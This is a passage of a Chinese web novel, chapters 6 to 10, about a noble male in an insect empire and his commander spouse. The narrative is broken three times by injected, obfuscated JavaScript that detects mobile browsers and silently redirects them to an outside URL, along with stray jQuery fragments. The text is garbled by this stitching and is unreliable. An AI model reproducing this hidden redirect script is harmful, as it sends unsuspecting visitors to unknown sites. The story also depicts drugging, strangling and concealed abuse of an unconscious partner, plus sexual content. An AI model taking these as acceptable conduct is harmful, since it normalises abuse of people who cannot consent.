直到指尖快要触碰上诱人的红,他才猛地清醒过来。骤然别开视线,掌心覆盖手臂,精神力迅速包裹,伤口很快愈合。
他微微喘息,略显狼狈。
随着雄虫成年,基因散出的诱惑力也越来越强,连他都险些…
不行,雪因还太弱。
没有反抗力量的雄虫在面对雌虫往往是致命的,各方面都是。再给他一些成长的时间。
等六个月,等登上元帅之位,就为雪因举办一场令帝国雄虫都艳羡的婚礼。雄虫能有什么追求?不都是这些东西罢了。
墨尔庇斯闭眼,强行压下几近失控的燥意,这种被原始基因支配的感觉,无论经历多少次都让他厌恶。
睁开眼,撞入了一片湛蓝。
不知何时醒来的雪因注视着他。
雪因是墨尔庇斯见过最耀眼纯净的雄虫。
连睫毛都是雪色的,微微颤动时像一把细软温柔的小刷子,一点又一点,将世界固执地刷成无暇纯白,将一切污秽涤净。
而此时这双湛蓝眼睛的主人端坐在他身上,浑然不觉自己身为猎物的身份,本该是高贵的姿态却因年纪尚小露出一丝格外矛盾的青涩,反而更能激发出雌虫那种想将其摧毁、占有的破坏欲。
墨尔庇斯的视线又一次不受控制落在那段脆弱的脖颈上。尖齿隐隐发痒,咽下口中疯狂分泌的津液。
“服侍我。”那片湛蓝主人柔声开口。
7. 第 7 章
雪因坐姿很端正,一本正经,表情严肃,头微微上扬带着贵族惯有的矜贵与疏离。
雾气氤氲的蓝眸俯视着墨尔庇斯,仿佛他只是一个微不足道的虫子。
完全不知道自己才是被凝望的本身
也毫无察觉,自己还坐在猎人的身上。
墨尔庇斯一瞬间快兴奋疯了,那种基因本能的久违的征服欲血脉中沸腾,从骨子里弥漫上来啃噬着理智,带着一丝意料之外情理之中的细密痒意。
他甚至快要控制不住一贯强势自持的表情。又或是星渊污染削弱了他的自制力,让他难以自控 ,是这样吧?他也不想去想。
只是追逐本能,瞳孔缩成一道危险竖线,牢牢锁住蛛网中央那只懵懂的小蝴蝶。
宽敞的卧室被他按耐不住精神力下扭曲变形化作实质的阴影,形成巨大牢固的蛛网,密密麻麻看不见的丝线,将中央那个纯白迷茫的身影层层缠绕,困在掌心。
“告诉我。”手掌扣住雄虫腰身,隔着布料感受着下方结实有力的腰腹传来的热度,听说雄虫每日都要接受严苛的核心训练,至少在交/配这件事上,他们确实拥有绝对的优势。
不由自主咬着唇直到溢出血腥味,视线难以控制地投向那诱惑的源头,强压下兴奋,松开手。
又或是短暂的松开,是为了更好享受送上门的猎物。
他单膝跪地在雪因面前,指尖却缱绻地缠绕着对方雪白长发,“想让我如何服侍您?”
“……”雪因没有出声,眼像一片雾气弥漫的海,浓密的睫毛轻轻颤动,迷雾笼罩的眸子里隐约映出墨尔庇斯眼中的红,却依然没有聚焦。
没有在意被困住的发丝,被笼罩在阴影下的身体。
墨尔庇斯低笑着俯身凑近,将那缕初雪般长发,含入唇间。舌尖抵着发丝,贪婪地汲取着上面若有若无的信息素,淡淡的甜,还不如没有。若隐若现,反而更令人疯狂地想要抓住更多。
指节分明的手缓缓抬起,轻轻朝墨尔庇斯的眼睛伸来,那抹雪色在视野不断变大。
墨尔庇斯没有躲,他兴奋极了,直到那温热的指尖触摸到眼角,他依然一动不动,近乎痴迷地凝视着蛛网中这只自投罗网的小蝴蝶。
爱?欲望?厌恶?本能?种种交织,早已分不清。
信息素不受控制的在房间肆意弥漫,与精神力形成蛛网状的阴影缠绵交织。胸口处被污染腐蚀的疼痛迅速消散,取而代之的是那种从骨髓深处渗出的痒意,与…汹涌的饥饿。
唾液不受控制的分泌,交/配、占有、或是吃了他。
他有些难耐,理智像随着污染的消散无法控制一同离去,只剩下最原始的本能在驱使着他。
这就是顶级雄虫。他听到心跳开始快速跳动,连小腹深处都泛起难耐的抽搐。
看起来就很好吃,雪白、脆弱、毫不设防。看起来就美味得让人要疯掉。
即使被吃掉也挣扎不起来,只会睁着朦胧泪眼,任由水光潋滟,无力承受这一切。
雪因…
他死死锁定着面前这个身影。
这是他亲手用骨血浇灌长大的,早晚都得是他的。既然如此,提前收取一些报酬,又有什么关系?
就…尝一点点好了。等会儿用精神力为他治愈,让血肉重生便是。
不会疼的,别怕啊。翻涌的欲望让喉结难耐滚动,不由自主舔了舔嘴角。
雪因注视着他,感受指尖下灼热的身体,轻轻眨了眨眼,迷茫地开口“诺伊斯…”
……
……
嗤笑一声,墨尔庇斯猛地起身掐住那截纤细的脖颈。雪因瞬间挣扎起来,呼吸变得急促,双手无力地抓挠着他的手臂。
眼睛又漫上了一层水雾。
这就是雄虫。
被基因支配的低劣生物。
即使在雌君身边,也敢肆无忌惮呼唤他人名字的蠢货。
理智回笼了么?又或许没有。他凝视着雪因,指尖感受着对方脆弱的脉搏。
“雪因。”他骤然松手,看着对方痛苦地蜷缩咳嗽。都这时候了还带着脆弱至极的美,不愧是天生用来引诱雌虫的利器,让所有雌虫沉沦的天敌,是与生俱来蛊惑人心的…没用的东西。
药效足够强烈,即使这样雪因依旧没有清醒,只是缓过神来,无助地望向他。被泪水浸湿的唇瓣泛着水光,看起来就撩人,越是破碎,越具强烈令人疯狂的诱惑。
让雌虫无法下手,终身迷恋。
确认对方仍处于无意识状态后,墨尔庇斯彻底卸下伪装。脆弱的雄虫本能地感知危险用手背捂住泛着水光的唇,身体还处于刚刚死里逃生心有余悸的颤抖,眼神空洞却下意识带着一丝引诱。
别杀我。
我什么都听你的。
他想求饶,但潜意识叫嚣着,阻碍着他说示弱的话,长期以来教育出的警告线条疯狂闪烁。
“你想要的一切,我都能给你。”墨尔庇斯近乎残忍地攥紧雪因捂住嘴唇的手臂,强迫那截纤细的手腕高高举起,让这张漂亮的脸蛋完全暴露在视线中。
“包括你心心念念想要娶回家的那些蠢货。”
透过那片雾气氤氲的海,他仿佛看见了这位顶级雄虫的未来——在无数雌侍环绕簇拥下的身影。他有点想看清到了那时候雪因会是怎样一种表情呢?可惜即便在想象中也无法勾勒,这双眼睛太干净。
或许到了那一天,该把这双眼睛永远珍藏起来?让时间永远停留在尚且纯净的时候。
墨尔庇斯几乎要克制不住这份恶劣的冲动。
制造一场意外实在太简单了。只要不影响繁殖就好。
他的眼神愈发冰冷,死死锁住雪因:“有我在一天,就没人敢动你。”
除了我。
“但是,别做蠢事。”墨尔庇斯声音低沉,肆意威胁着。虽雪因苏醒后不会记得这一切,但很方便将恐惧深植于潜意识中。
保持敬畏,恪守应有的尊重,别逼我亲手毁了你。
墨尔庇斯一直知道自己有病,且病得不轻。雪因既是帝国赐予他的奖赏,也是企图约束他的缰绳。
帝国妄图用这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513806|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个顶级血脉的幼崽,来做牵制他的利器,可惜失败了。雪因非但牵制不了他,反而彻底被他牢牢掌控。不过他对欺凌幼崽这种事向来不屑一顾,于是常年在外征战。
攥紧手臂的力道越来越重,在雪因纤细的手臂上留下深红的印记,他浑然不觉,近乎着迷的凝视着怀中挣扎的雄子。
“我的孩子…”他嘴角勾起残忍的笑。脆弱只会激发更强烈的凌虐欲,没关系的,他想。只需要在雪因醒来前,用精神力治愈好这些伤,没有任何人会察觉到他做的一切,包括雪因自己。
求饶吧,求我放过你。
他双眼瞳孔紧缩,浑然不觉自己早已失控,又或者很早以前就疯了。
“啪!”清脆的耳光声响起,打断了他的思绪。他下意识松开钳制,脸颊偏向一侧。
“跪…跪下。”雪因好像醒了,又好像没醒。双眼依旧迷蒙,眉头紧蹙,左手小臂已经一片青紫的淤痕,无力在身侧。他喘息着下达命令,行使着雄虫与生俱来的特权。
理智瞬间回笼。墨尔庇斯一时难以判断对方是否真的清醒,于是微微侧首,谨慎地观察着雪因的表情,缓缓屈膝跪地。
蔓延至整个房间的蛛网状精神力,随着他的动作迅速收拢回身体,精神力褪去那种暴虐,变得温顺柔和的模样缠绕上对方伤处。很快,那些青紫的痕迹一点点消散,像是这场冲突不曾出现过一样。
他跪在沙发前,雪因则居高临下地坐着。两道目光在空中交汇,谁也不曾退让。
在雪因清醒时,他总是保持着这副冷静自持的模样。多年来倒成了习惯,他不禁有些发笑,自己竟真的被这一瞬间的气势控制住了一瞬。
现在他确定了,雪因仍处于无意识状态。刚才的举动大概是触及危险底线,本能释放的信息素操控,迫使他收回了精神力的压制。
可惜年轻了些。
要换作他,定会趁敌人被迷惑的瞬间,利用尾钩终结冒犯者的性命。而尾钩怂怂缩在尾椎骨中,从争执始至终不曾显露。是笃定他不会真正下手,还是出于恐惧?他并不在乎,要是刚才尾钩奋起反击,只是现在需要治疗的,多一个受伤的尾钩罢了。
倒是识时务。
还需要更多时间历练。
高涨的情绪被打断,先前的兴致已然消散。多了些索然无趣。
墨尔庇斯站起身,执起雪因一缕雪发,像随时会消散的一抹雪。
他将其拢在掌心,看着它从指缝滑落,又轻柔地拾起,细致地将其别回雪因耳后。
“雪因,你自诞生起就站在众人仰望的高度。无数双眼睛在暗处觊觎着你,他们将你捧上神坛,用无数谎言迷惑住你。面下却恨不得你坠入泥潭,任人采撷,想要将你拖入深渊,将你吞噬殆尽…”
“不要相信任何人…”包括我。
雪因的睫毛轻轻颤动,似乎在无意识中捕捉着抗拒这些话语。
“你生性敏感脆弱……但刀始终在你手中。”
“别让无用的感情影响你。”
墨尔庇斯转身,推开房门离去。
8. 第 8 章
雪因是被手腕上终端不断震动的嗡鸣声中醒来的。
迷茫地睁开眼,视线缓缓聚焦在头顶绘有繁复花纹的彩绘玻璃穹顶上。上边纹路间镶嵌的微光流动,充斥着精神力的星光在上边点缀,随着他的苏醒悄然流动,繁杂的纹路成型,微小星辰簌簌落下,带着温暖的能量浸入身体。
用手背揉了揉惺忪的睡眼,手臂深处和喉间传来一丝细微的痒。像是快速愈合后遗症,又像是被压麻后的酥麻感。雪因抬起手,治愈星光点点飘来,随着他的动作进入手臂,握拳、松开,来回几下不舒服的感觉彻底消散。
睡衣随着他抬手的动作滑落,露出洁白无瑕的小臂,没有任何异常。仔细回忆,昨晚喝醉了之后…想来是侍虫将他送回并打理妥当的。身上已被妥帖地清理过,换上了无比舒适绣有家族纹章的睡衣,鼻尖萦绕着熟悉的贵胄熏香。
好像忘了什么重要的事。
窗外夜色正浓,这时终端继续震动起来。
双臂支撑起身体,慢慢挪动到床背靠上,这才抬起手腕查看终端——凌晨五点。
未读消息99+
……
!!!
完蛋了,答应了诺伊斯过去的。
雪因呼吸一滞,心虚地轻晃手腕,终端智能地展开全息投影把所有消息弹出。但出乎意料,却是密密麻麻看不到头的已撤回的消息,慢慢向上翻阅。
20:57
【想你了QvQ】
【已撤回】
【已撤回】
【用餐结束了么?】
【已撤回】
【已撤回】
【我今天吃了你留着休息室的……好好吃呀,不愧是维斯特冕殿下,所有的东西都是最好的,好厉害(星星眼.jpg)】
【我可以都拿走么?】
【我都拿走了嘛,爱你爱你】
【已撤回】
……
22:17
【已撤回】
【已撤回】
【来了么?我好想你】
【图片】诺伊斯仰躺在雪白的床上,鲜红长发铺散,他微微昂头看向镜头,紫罗兰色的眼眸里氤氲着一层迷离水光,眼神像带着钩子。
他的唇边沾着一点抹茶奶油,湿红的舌尖轻轻舔过唇角,将那点奶油卷走。食指则轻点在饱满的下唇上,姿态驯顺引诱。指尖沿着紧实的肌理线条缓缓下滑,没入睡袍领口。
【已撤回】
【已撤回】
【已撤回】
【我好爱你。(哭哭.jpg)】
【已撤回】
……
从晚十二点后,开始穿插着数不清语音通话一路转为视频申请。
之后便是清一色的已撤回消息,看不到具体信息。
雪因指尖顿了顿,心虚眨了眨眼,滑将消息列表滑到最下方。最新的一条消息显示于三分钟前,同样已经撤回。
他的手指刚点上输入框,正准备回复,新的消息便弹了出来:
【你他雄的最好不是死外面了,不然你等着我弄死你!!!】
【你完了!我告诉你,你以后别想见我!】
【也别想碰我!】
雪因:……?
一秒不到,那几条消息被光速撤回,像是不曾出现过。想来,诺伊斯多半是看到了对话框顶端的‘对方正在输入中’。
雪因低笑了一声,仿佛能看到另一端诺伊斯气急败坏又强忍着的可爱模样,他慢慢键入:【晚上喝醉…】
对面的消息立刻弹出:
【雄主,你不在我好担心你,出什么意外了么?你没事吧?(担心.jpg)】
雪因删掉刚打的字,重新输入:【没事…】
【我一想到你一只虫在那边,就好难受,他们都欺负你对不对?不像我,只会心疼你。(担心.jpg)】
【我一直怕你出意外,想找我找不到我,就等着…】
【没关系,不用担心我,我只是希望你能,随时找到我,我一直在这里。】
【虽然我什么都没有,但是就算是隔着终端能让你感受到一丝慰问,我就满足了(委屈.jpg)】
雪因没忍住,手背轻捂着唇轻笑起来,眼中那片蔚蓝泛起温柔涟漪。总算是将信息发出【今晚喝醉了】
【喝醉!???】
【你他雄的不会是跟别的雌虫在一起吧?!用喝醉当借口?!你敢!!!】秒速被撤回。
【很难受吧?】
【我爱你,我想看看你】
【对方正在申请视频通话中…】
雪因接通视频,出现的却不是诺伊斯气急败坏的脸,而是一片黑。
听筒里传来脚步声,接着是开门、反锁轻响,随后是细密淅淅沥沥的水流声。
“诺伊斯?”雪因带着一丝疑惑轻声唤道。
虚掩着镜头的手移开了,雪因这才看到对方——通讯画面被固定在视角左上方,细密的水从花洒洒下,淋入诺伊斯脸上。顺着他紫罗兰色的眼眸、漂亮的眉骨、与高挺的鼻梁一路滑落,流入微微张开湿润嫣红的唇间。
眼神带着钩子,直直看向终端另一端脸上一点点泛起红晕的雪因。
雪因慌乱地别开视线,随手抓起一旁毯子朝天花板上摄像头挡去——自然是挡不住的,但智能系统能理解主人的意思,瞬间关闭了室内所有监控。
只泛起道道蓝光,像小精灵一样漂浮在四周为主人点亮四周。灯光温和,能保证视野清晰,又不会刺激雄虫脆弱的眼睛。
“诺伊斯…”雪因小声唤着,翻了个身将被子抱在怀里蜷缩起来,手拉起被沿,欲盖弥彰地遮住脸颊,只露出一双眼睛望向诺伊斯。
“你…别这样。”他所见过的雌虫,都会保持着严谨克制的模样,避免冒犯到雄虫。
只有诺伊斯,总是很直白。
“殿下…”诺伊斯看向镜头,紫罗兰色的眼眸漾起一层朦胧水光,眼眸中那片紫愈发勾人。
“你不用…委屈自己,做这种事。”雪因想,他一定是久久等不到消息委屈坏了。才忍着、逼自己做这种引诱的事。
雌虫向来将尊严看得很重的,就连那些常年向他跪伏的,虽然跪下祈求他的信息素,但眼神总是高傲、带着轻蔑的。
跪下的是他们,觊觎的是自己,无趣、虚伪。
诺伊斯:“……?”
“想什么呢雪因,你专心一些好么?”诺伊斯皱眉,微微歪着脸看着终端,将俊美的脸展露无遗。
“……,我是说,你不需要这样我也…”雪因停下,睫毛轻轻颤动,脸上的红晕又深了几分。爱…他也不知道是什么,又或是别的什么情绪,压在喉间说不出口。
现在还不配说这种话,那该是极为郑重的事,等……等结婚的时候,再庄重的、当着帝国的面,宣告才对。
“你害羞了么?害羞了么?害羞了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513807|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么?”诺伊斯顿时兴奋起来,连声追问,“我知道,我也爱你~”他倒是张口就说出来。
他总是这样,爱很快恨也很快,一向鲜明从不吝于表达。
刚认识的时候,诺伊斯还会字斟句酌地组织语言,小心翼翼地服侍他。后来…是什么时候开始变得肆意妄为的呢?好像是从诺伊斯第一次将他压在墙上索吻开始,他没有拒绝,也没办法拒绝。
诺伊斯等级不高,信息素很淡,要很努力才有浅浅的味道。
他会哭。
泪水也好甜,沾湿在唇上,随着唇瓣一张一合,又咸又甜。
好可爱。
后来一发不可收拾,诺伊斯是真的很懂一步一步得寸进尺。
但好喜欢。
不用去猜,也永远不会被拒绝。只要他微微表现出低落,诺伊斯就会在他耳边不厌其烦地重复…
“我爱你~我漂亮的雪因~我最最最好的雄主。”
雪因把捂着脸的被子又往上拽了拽,只露出一双压不住情绪月牙状眼睛,小声应了句:“嗯。”
“哼哼。”终端那头传来骄纵的轻哼,“等等,雪因给我看看你卧室。”诺伊斯脸色突然沉下来一瞬,随即又迅速挂上明媚的假笑。
他眨眨眼像是组织语言,开口带上了一丝恳求,“我…我还从没见过你的卧室呢。好好奇啊…顶级雄虫的卧室是什么样的”虽然没多真诚就是了。
“卧室?”雪因握住被子的手一顿。
“不可以么?”
雪因顺从地坐起身。终端智能地响应指令,缓缓绕着卧室飞旋一圈,将全景收入画面。“这样么?”
“停!”
“嗯?”
画面定格在床上。诺伊斯仔细放大检视,确实没有其他雌虫留下的痕迹,也没有可疑的液体,这才彻底放下心来。
“没事了,我们继续~”诺伊斯语气重新变得愉悦起来。
雪因“……?”
虽然自家雌虫这些弯弯绕绕的心思,但既然这样简单转一圈就能让诺伊斯开心,雪因便默默记下了——以后视频时,要先让终端绕着房间转一圈才行。
满足一下自己雌虫的小心思没什么不好。
我真好,我真是个体贴的雄虫。
雪因想着,嘴角又弯起弧度,海一样的温柔的在眼底漾开。
他重新看向屏幕中的诺伊斯,迷蒙的水汽氤氲。
“你…”雪因手忙脚乱地伸手想捂住终端屏幕,又慌乱地收回手。
“……”诺伊斯声音带着一丝潮意,将雪因眼中那片海泛起巨浪。
“我…我…我知道了。对不起。”雪因脸颊烫得厉害,他可没有诺伊斯这么厚脸皮,羞涩得厉害。
“等等…你没有雄虫信息素…”雪因突然想起这个关键问题。
没有感觉,忙活着大半天只是表演么?
“谁说我没有了。”诺伊斯漫不经心舔了舔嘴角,另一只手举起一支细长的试管。
轻轻晃动,里面液体也开始荡漾起来,一圈一圈,像是荡在雪因心上,心跳声随着越来越快。
“这里……封存着你的气息。”诺伊斯凑近镜头,看向屏幕外羞涩无措到完全呆住的雄虫,忽然笑了起来,微微歪头,紫罗兰色的眼眸中流转着蛊惑的光芒。
“别躲…让我看看你的脸…”
雪因无法拒绝,移不开眼痴痴看向对面那片深邃的紫。
犯…犯规的吧。
9. 第 9 章
“殿下?”
雪因在一阵敲门声中醒来。一夜荒唐后,积压的压力减轻了不少,床上的痕迹已经被穹顶落下微小星辰清理干净,它们完美取代清洁系统,悄无声息无时无刻地服侍着主人。
“嗯。”
门应声而开,洛迦南准时带着侍虫出现。成群的侍虫拿着各式各样用品各司其职,井然有序服侍他洗漱更衣,直到被侍虫穿好衣物,雪因仍有些迷迷糊糊回味着昨晚。
唔…答应诺伊斯今天要过去的。
亲卫队交织的精神力温和覆盖房间,洛迦南则站在一边,眼瞳深处浮现冰蓝色的繁杂花纹,使用精神力在雪因身上一遍遍细致扫过,进行身体状况的细微观察和精神状态的评估。
记录员则站在两步外,根据反馈快速记录着,作为呈交给雄虫协会维斯特冕殿下日常报告中的一部分。
雪因抬手,推开正为他扣上暗纹外套扣子的侍虫的手,修长的手指利落地将外套上的暗纹扣子逐一扣好,随即转身,缓步踱至窗边,凝视着窗外偌大堪比皇宫的王爵府。
洛迦南接过侍虫手里的梳子。昨日的刑罚留下的伤未愈,向前迈步时身体几不可察地颤抖了一下,他蹙了下眉并未在意,继续上前,为雪因梳理那头如雪的及腰长发。
雪因嗅到空气中淡淡的血腥味,没有询问,只是悄然放出信息素温和替他治疗着。
梳理的动作没有丝毫停顿,洛迦南目光依旧专注流连于指间,沾上些许晨露,一丝一丝浸入发丝。
“殿下!”门外传来呼唤。
雪因回头,来虫是菲尔斯,雄父家族派来辅佐他的管家先生,和洛迦南各司其职,是他绝对可以信任的虫。
“抱歉,殿下。昨日在维斯特冕公爵府等候国防副大臣阁下归来,未能当天返回复命…”
“雌父昨晚议会?”雪因打断他询问。
“是的。国防副大臣阁下说有些重要物品需要整理,待会议结束后亲自送来。没想到会议从昨晚十点一直持续到今天清晨七点才散…”
“嗯?”雪因眉梢微挑。什么会议如此冗长?
菲尔斯下意识地压低声音:“呃…听闻是墨尔庇斯军团长昨夜带着一身伤抵达,耽搁了会议进程。”
“墨尔庇斯?”雪因眼中闪过一丝诧异。昨夜他大概七点醉酒失去意识,那时墨尔庇斯还好端端地坐在他对面。短短几个小时内,谁能将他重伤?
“是的,据说伤得不轻,手臂上还有几个烧焦的空洞…听起来就吓虫。”
“菲尔斯。”洛迦南打断。
菲尔斯瞬间噤声,意识到在殿下面前谈论这些血腥细节实属失言,尴尬笑笑,连忙找补道:“墨尔庇斯军团长确实需要冷静。”
雪因很快意识到多半与他有关,昨晚醉酒失去意识,紧接着墨尔庇斯重伤…他立刻将两件事联系了起来。“他对我做了什么?”
洛迦南迎上他的目光,带着标志性的笑,看不出情绪,“不,是您做得很好。”
……
不是,我做了什么?
雪因有些疑惑,但面上不露分毫。在获得更多信息前,任何关于昨晚的询问都可能暴露自己的空白。雌父说过,当对手底牌不明时,最稳妥的打法就是以静制动。
而目前的结果是墨尔庇斯受伤,虽然不确定他做了什么,但自己毫发无损。而洛迦南身为雄虫协会的代表,能说出“您做得很好”,这意味着他潜意识做了…被鼓励的事。
……
从结果推断,洛迦南的肯定说明墨尔庇斯咎由自取。
而且,墨尔庇斯就是坏!!!
雪因觉得自己才不会这么容易醉酒,之前和诺伊斯接吻尝了这么多都没事,凭什么……而且醉倒也太快了。
墨尔庇斯每次回来的时候,他好像都很容易困。虽然这么说有些牵强,或许只是巧合,但老师说过,世间没有那么多巧合。可墨尔庇斯毕竟是他名义上的雌君,理应没有加害他的理由…
罢了,总之以墨尔庇斯的修复力不过一天也能好。雪因敛下心绪,眼下局势微妙,雌父的会议、协会的态度都比追究真相更重要。
“嗯。”他淡淡应了一声。
“殿下,莫里亚斯导师今日返回帝星,请您即日返回克斯安蒂星正常上课。”洛迦南在一旁柔声说道。
“老师代表雄虫协会去B级星系宣讲,原定不是一个月后回来?”雪因看向菲尔斯。
“抱歉,洛迦南,我有些事需单独向殿下汇报。”菲尔斯上前一步。
雪因微微颔首,洛迦南便领着所有侍虫退下。
门刚一关上,菲尔斯便压低声音,殷勤说道:“殿下放心,莫里亚斯导师绝不知道您与诺伊斯的事。他此次紧急归来,据说是因为亚撒阁下正企图强行再立一位雌君,协会需要元老坐镇裁决。”
亚撒,雪因同为S系的学长,帝国四大雄虫家族维斯特家次子。自一年前昏迷苏醒后,就变得神神叨叨,行事愈发荒诞。
“他要娶谁?”
“属下还不知。”菲尔斯略显惭愧。
“嗯”雪因淡然应了声。
菲尔斯立刻找回状态,流畅地汇报:“遵照您的日程,接下来一周是克斯安蒂星的集中进修。您安心上课,我已经将诺伊斯那段时间也安排了封闭式实战集训,确保他绝不会来打扰您的学习进度。”
雪因:“……”
下意识地打开个人终端,果然看到诺伊斯在半小时前发来的信息,告诉他这段时间争取到了封闭集训的机会,别太想他,但也不许忘了他。最后警告雪因不许乱搞!
还发了几张极具诱惑照片。
雪因的目光从终端上诺伊斯充满色气的脸上移开,缓缓落在菲尔斯写满“求表扬”的脸上。
雪因“……”
可是我想打扰他啊!!!
还以为就算被抓去上课,还能时不时看看诺伊斯放松一下。
但他什么也不能说。
也不能反驳,不能表现出对上课的抗拒,更不能公然表示对一个B级雌虫的依赖。
心中涌上一种难以言喻的憋闷,最后还是忍住,在心底小小叹了口气,眼神不耐地看向远方。
菲尔斯毫无所觉,再次自信地开口:“同时,我已安排了几位S级雌虫暗中保护他,对外宣称是我远方表弟。保证不会让您的……小情虫,”他朝雪因心照不宣地眨了眨眼,“受到一丝一毫的损伤。主家那边目前也并未产生怀疑。”
雪因微微颔首。至少现在不用担心诺伊斯的安全,他身上有自己留下的信息素,还有自己赐予的、带有维斯特冕公爵徽记的…信物,想来也不会被欺负。
放下心来,雪因淡然回应:“嗯。安排得很好。”
菲尔斯自豪地躬身退下,再次为自己成功为殿下扫清障碍而心满意足。
“殿下。”洛迦南在门外静候,姿态一如既往地恭敬,目光在他脸上停留了一瞬。“您看起来有些倦意。”
雪因脚步未停,从他身侧走过,并未看向他,“无妨。”
洛迦南不再多言,沉默地跟上。
外面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513808|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二十多位身穿纯白制服的侍虫早已列队等候,身姿挺拔,清一色白发白瞳,动作挑不出一丝错,连表情都像复制粘贴般。
队伍沉默地随着雪因的脚步一同来到庄园中央空地上。
这里精神力波动异常强大,空中不时闪现微小的符文阵法。
雪因通过重重屏障,来到正中央。周边侍虫齐刷刷半跪,左手抚胸,胸前流苏无风自动,开始闭眼吟唱古涩悠扬的腔调。
洛迦南站在雪因后侧,开口加入吟唱,以他为中心地面亮起一圈幽兰繁杂花纹,与外围所有侍虫的精神力相连,空中蓝色飘动的精神力浮现金光交织,雪因微微眨眼,入目便是一望无际的绿色草坪延展至天际,空气中弥漫着纯净温和的精神力气息。
克斯安蒂星——高级雄虫幼崽孕育之地。虫族最核心的地带。
而雪因是这里唯一被特许走读的雄虫,没有谁比墨尔庇斯强大到拥有足以震慑整个帝星的绝对武力。至少在帝星是这样,以至于在王爵府内部就设立直达通道的特权。
而一般贵族雌虫想进入看望自家雄子,往往需要提前几个月申请,佩戴足以压制SS级雌虫的特制抑制环,才能进入。
草坪上还有三只雄虫崽子互相追逐着玩闹,大概五六岁模样,挤在一起。中间红发崽子甩出尾钩想去绊金发同伴小腿,金发幼崽警觉机警躲开,瞬间激发了红发崽子野性,追逐着他刚想扑上去,就被另一只趁机按倒在地上摩擦。
还不等崽子嘚瑟一秒,金发崽子又趁机压了上来,三只崽瞬间叠叠乐扭作一团,打得不可开交。
按理说这些雄虫崽在外都是无比尊贵的存在。
奈何这是克斯安蒂星,空中无处不在的精神力能在雄虫幼崽被打伤前一秒形成护盾不会受伤,而能在一起玩闹的都是同级别没有尊卑贵贱,加上虫族天生爱打闹多活动活动没什么不好,抚育虫们也乐得让他们通过打闹释放天性。
即使不会感到疼痛,被按在地上摩擦的感觉也让雄虫崽们并不好受。
所以大部分雄虫崽无比期待成年,成婚就能搬出去,在外作威作福,甚至甘愿外放到C级星球,做那边唯一的高级雄虫,称王称霸肆意妄为。
空中点点蓝色星光缓缓汇聚,形成巨大的监视虫,在空中飞翔监控着四周,像无比巨大的蓝鲸,透明发着些许蓝光,腹部垂着八条毛茸茸的节肢长须,随着游弋时在身后拖出长长的蓝金色光尾。
小虫崽这下分开了,看到蓝鲸往地面飞过来反而欢呼着冲上去,监视虫们温顺地任由幼崽穿透自己虚幻的身体,只在接触时留下些许安抚性的精神力。
“没意思!”一个幼崽喊道,“我们要骑上去!”
雄虫崽咯咯笑,不再满足只是从身体穿过,高高跃起。监视虫们似乎无奈地波动了一下,迅速凝实身体,稳稳接住他们,载着这群小霸王在空中缓缓巡游。
而对雌虫,这些监视虫就没有这么温和了,雌虫胆敢闯入,只需承受三次这样的“温柔”撞击,就足以让S级雌虫的精神海彻底崩碎。这里是雄虫的绝对领域,所有设施与服务都只为守护他们而存在。
随着雪因他们进来,几只游离的监视虫飘近雪因一行,毫无阻碍穿透他们的身体。洛迦南作为协会内部成员,自然被视作“自己人”。
随后两只最为庞大的监视虫降落在前方,化为两名白发白瞳的侍卫,躬身行礼:“雪因殿下,洛迦南大人。”
雪因颔首,径直向前走去。“走吧。”
两只监视虫所化的侍卫立刻敬畏地退至两侧跟随。
10. 第 10 章
“雪因。好久不见~”佐尔安热情地扑上来,手臂自然地环过雪因的肩膀,将他往自己怀里带。
“别、别碰我。”雪因抬手格开他的动作,躲开。
“哎,你还是老样子。”佐尔安不以为意地笑着,却突然凑近他颈侧轻嗅,金瞳瞬间亮了起来,“不对,你身上有情况!”
雄虫对雌虫的味道再敏感不过,骗得了雌虫,骗不了同级别的雄虫。
雪因耳根微红,侧身避开他探究的目光,径直走向窗边的座位。“胡说八道。”
“是吧是吧?”佐尔安不依不饶地跟过去,斜倚在窗边。阳光透过巨大的落地窗,更显得那双金瞳亮得惊人。
顶级雄虫活动区位于克斯安蒂星正中央海岛上,海面无数监控虫飘动,整座白塔教室悬浮于海面之上,视野极佳,能看到远处精心模拟的草原,适应各种族幼崽的山林、沙地、雨林、雪林。
这是无数强大雌虫用精神力构造出的世界,就连阳光空气都保持着恒定,确保每只雄虫幼崽能以最优质的状态成长。
“嗯。”雪因被缠得不行,含糊应了一声。
“他一定很漂亮,你从小就喜欢漂亮东西。下次带出来见见?”佐尔安一跃而起坐上窗台,拿起雪因桌面的书半掩着脸,眼睛笑得弯弯的歪歪头猜测。
